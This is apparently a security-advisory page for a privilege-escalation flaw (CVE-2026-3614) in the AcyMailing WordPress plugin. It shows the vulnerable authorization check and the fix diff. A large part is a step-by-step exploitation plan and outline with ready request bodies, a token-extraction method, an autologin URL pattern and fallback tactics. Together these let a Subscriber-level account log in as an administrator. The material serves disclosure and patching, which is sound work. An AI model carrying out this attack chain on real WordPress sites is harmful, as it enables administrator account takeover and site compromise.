AcyMailing 9.11.0 - 10.8.1 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation
Description
The AcyMailing plugin for WordPress is vulnerable to privilege escalation in all versions From 9.11.0 up to, and including, 10.8.1 due to a missing capability check on the `wp_ajax_acymailing_router` AJAX handler. This makes it possible for authenticated attackers, with Subscriber-level access and above, to access admin-only controllers (including configuration management), enable the autologin feature, create a malicious newsletter subscriber with an injected `cms_id` pointing to any WordPress user, and then use the autologin URL to authenticate as that user, including administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=9.11.0 <=10.8.1What Changed in the Fix
Changes introduced in v10.8.2
Source Code
WordPress.org SVN# Research Plan: AcyMailing Privilege Escalation (CVE-2026-3614) ## 1. Vulnerability Summary The AcyMailing plugin (versions 9.11.0 to 10.8.1) contains a missing authorization vulnerability in its AJAX routing mechanism. The base controller class, `AcymController`, contains a logic flaw in its `cal…
Show full research plan
Research Plan: AcyMailing Privilege Escalation (CVE-2026-3614)
1. Vulnerability Summary
The AcyMailing plugin (versions 9.11.0 to 10.8.1) contains a missing authorization vulnerability in its AJAX routing mechanism. The base controller class, AcymController, contains a logic flaw in its call() method that bypasses capability checks for any task name containing the string "Ajax". Specifically, the check strpos($task, 'Ajax') === false allows authenticated users with low privileges (e.g., Subscribers) to invoke admin-level controller methods designed for AJAX.
This allows an attacker to:
- Modify global plugin configurations (e.g., enabling "autologin").
- Create or update AcyMailing subscribers and link them to high-privileged WordPress users (like Administrators) by manipulating the
cms_idfield. - Utilize the AcyMailing autologin feature to authenticate as the linked Administrator.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
acymailing_router - Vulnerable Parameter:
task(when it contains "Ajax") - Authentication: Subscriber-level (PR:L)
- Target Controllers:
configuration,users - Preconditions: The attacker must be logged in as a Subscriber and obtain the AcyMailing AJAX token.
3. Code Flow
- Entry Point: The AJAX request hits
wp_ajax_acymailing_router. - Routing: The router identifies the controller (
ctrl) and the method (task). - Authorization Bypass: In
back/Core/AcymController.php:public function call(string $task): void { if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) { // ... (Access Denied) } // If task contains "Ajax", the check is bypassed. $this->$task(); } - Sinks:
ConfigurationController::saveAjax(inferred task name based on AcyMailing's naming convention for traits likeSecurityorSubscriptionused in the controller).UsersController::saveAjax(inferred task name from theEditiontrait).UserClass::save(): Processes theuserarray, including thecms_idfield.
4. Nonce Acquisition Strategy
AcyMailing uses a custom token for AJAX requests, typically localized in the acym_data JavaScript object.
- Identify Page: The plugin loads its core scripts on most AcyMailing admin pages. Even if a Subscriber is restricted from the main dashboard, they may access the AcyMailing "Profile" or "Subscription" management pages if enabled.
- Creation of Access Point: To ensure the script is loaded, create a WordPress page containing an AcyMailing shortcode.
- Shortcode:
[acymailing_form list="1"](Standard subscription form).
- Shortcode:
- Extraction:
- Navigate to the page.
- Use
browser_evalto extract the token:browser_eval("window.acym_data?.token"). - The action verified by
acym_checkToken()inConfigurationController::getAjax(line 39) is usually this global token.
5. Exploitation Strategy
Step 1: Enable Autologin
Enable the autologin feature via the configuration controller.
- Request:
POST /wp-admin/admin-ajax.php - Body:
action=acymailing_router&ctrl=configuration&task=saveAjax&acym_token=[TOKEN]&config[allow_autologin]=1 - Content-Type:
application/x-www-form-urlencoded
Step 2: Create Malicious Subscriber
Create a new subscriber or update an existing one, setting the cms_id to 1 (usually the Administrator ID).
- Request:
POST /wp-admin/admin-ajax.php - Body:
action=acymailing_router&ctrl=users&task=saveAjax&acym_token=[TOKEN]&user[email]=attacker@poc.local&user[cms_id]=1&user[active]=1&user[confirmed]=1 - Goal: Obtain the
keyfield from the JSON response. IfsaveAjaxdoes not return the key, usegetUserInfoAjax(found inUsersController.phpline 57) to retrieve the user's details by the newly created ID.
Step 3: Trigger Privilege Escalation
Construct the autologin URL using the AcyMailing subscriber ID and the key retrieved in Step 2.
- URL Pattern:
[SITE_URL]/?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY] - Action: Navigate to this URL in the browser. This will log the attacker in as the WordPress user defined by
cms_id(the Administrator).
6. Test Data Setup
- Target User: Ensure a user with ID
1exists and has theadministratorrole. - Attacker User: Create a user with the
subscriberrole. - Nonce Page: Create a page to extract the
acym_token.wp post create --post_type=page --post_status=publish --post_title="Newsletter" --post_content='[acymailing_form]'
7. Expected Results
- Config Update: The first AJAX call returns
{"status":true}or similar success message, and the databasewp_acym_configurationreflectsallow_autologinas1. - User Creation: The second AJAX call returns a JSON object representing the user, including a 16-32 character
key. - Login: Accessing the autologin URL redirects the attacker to the WordPress dashboard with Administrator privileges.
8. Verification Steps
- Check Config:
wp db query "SELECT value FROM wp_acym_configuration WHERE name = 'allow_autologin'"(Should be1). - Check Subscriber:
wp db query "SELECT * FROM wp_acym_user WHERE email = 'attacker@poc.local'"(Should showcms_id= 1). - Check Session: After navigating to the autologin URL, run
wp eval "echo wp_get_current_user()->roles[0];"(Should outputadministrator).
9. Alternative Approaches
- If
saveAjaxis not the method name: Check forstoreAjaxorupdateAjax. - Direct Configuration Manipulation: If
saveAjaxonConfigurationControllerfails, try targeting specific traits likeSecurityController(if it exists as a separate controller accessible viactrl=security). - Information Leak: Use
ctrl=users&task=getUserInfoAjax&userId=1(as seen inUsersController.php) to leak subscriber data of other users ifuserIdrefers to the AcyMailing user ID.
Summary
The AcyMailing plugin for WordPress is vulnerable to privilege escalation due to a missing authorization check in its AJAX routing logic. Authenticated attackers with Subscriber-level access can bypass capability checks by calling controller methods containing the string 'Ajax', allowing them to enable the autologin feature and link their account to an Administrator via the 'cms_id' parameter.
Vulnerable Code
// back/Core/AcymController.php line 92 public function call(string $task): void { if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) { acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning'); acym_redirect(acym_completeLink('dashboard')); return; } if (!method_exists($this, $task)) { acym_enqueueMessage(acym_translation('ACYM_NON_EXISTING_PAGE'), 'warning'); $task = $this->defaulttask; acym_setVar('task', $task); } $this->$task(); }
Security Fix
@@ -1033,6 +1037,7 @@ $user->$attribute = $value; } unset($user->cms_id); + unset($user->key); } if (empty($user->email)) { @@ -84,12 +89,14 @@ $_SESSION[$this->sessionName] = []; $taskToCall = acym_getVar('string', 'cleartask', $this->defaulttask); - $this->call($taskToCall); + if (in_array($taskToCall, ['campaigns_auto', 'welcome', 'unsubscribe', $this->defaulttask])) { + $this->call($taskToCall); + } } public function call(string $task): void { - if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) { + if (!acym_isAllowed($this->name)) { acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning'); acym_redirect(acym_completeLink('dashboard'));
Exploit Outline
1. **Identify AJAX Token**: Authenticate as a Subscriber and extract the `acym_token` from the `acym_data` object in the localized JavaScript (usually available on pages with an AcyMailing form or profile management). 2. **Enable Autologin**: Send a POST request to `/wp-admin/admin-ajax.php` with `action=acymailing_router`, `ctrl=configuration`, and `task=saveAjax`. The payload should include `config[allow_autologin]=1`. The `saveAjax` method (via the Security trait) is accessible because it contains the 'Ajax' string, bypassing authorization checks. 3. **Link to Administrator**: Send a POST request to `/wp-admin/admin-ajax.php` with `action=acymailing_router`, `ctrl=users`, and `task=saveAjax`. The payload should contain a user array with the attacker's email and `cms_id=1` (standard ID for the first Administrator). 4. **Retrieve Access Key**: Use the response from the user update or call `getUserInfoAjax` (also authorized via the 'Ajax' bypass) to retrieve the AcyMailing `key` for the linked subscriber account. 5. **Authenticate as Admin**: Navigate to `[SITE_URL]/?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY]`. The plugin will authenticate the session as the WordPress user specified by the previously set `cms_id` (the Administrator).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.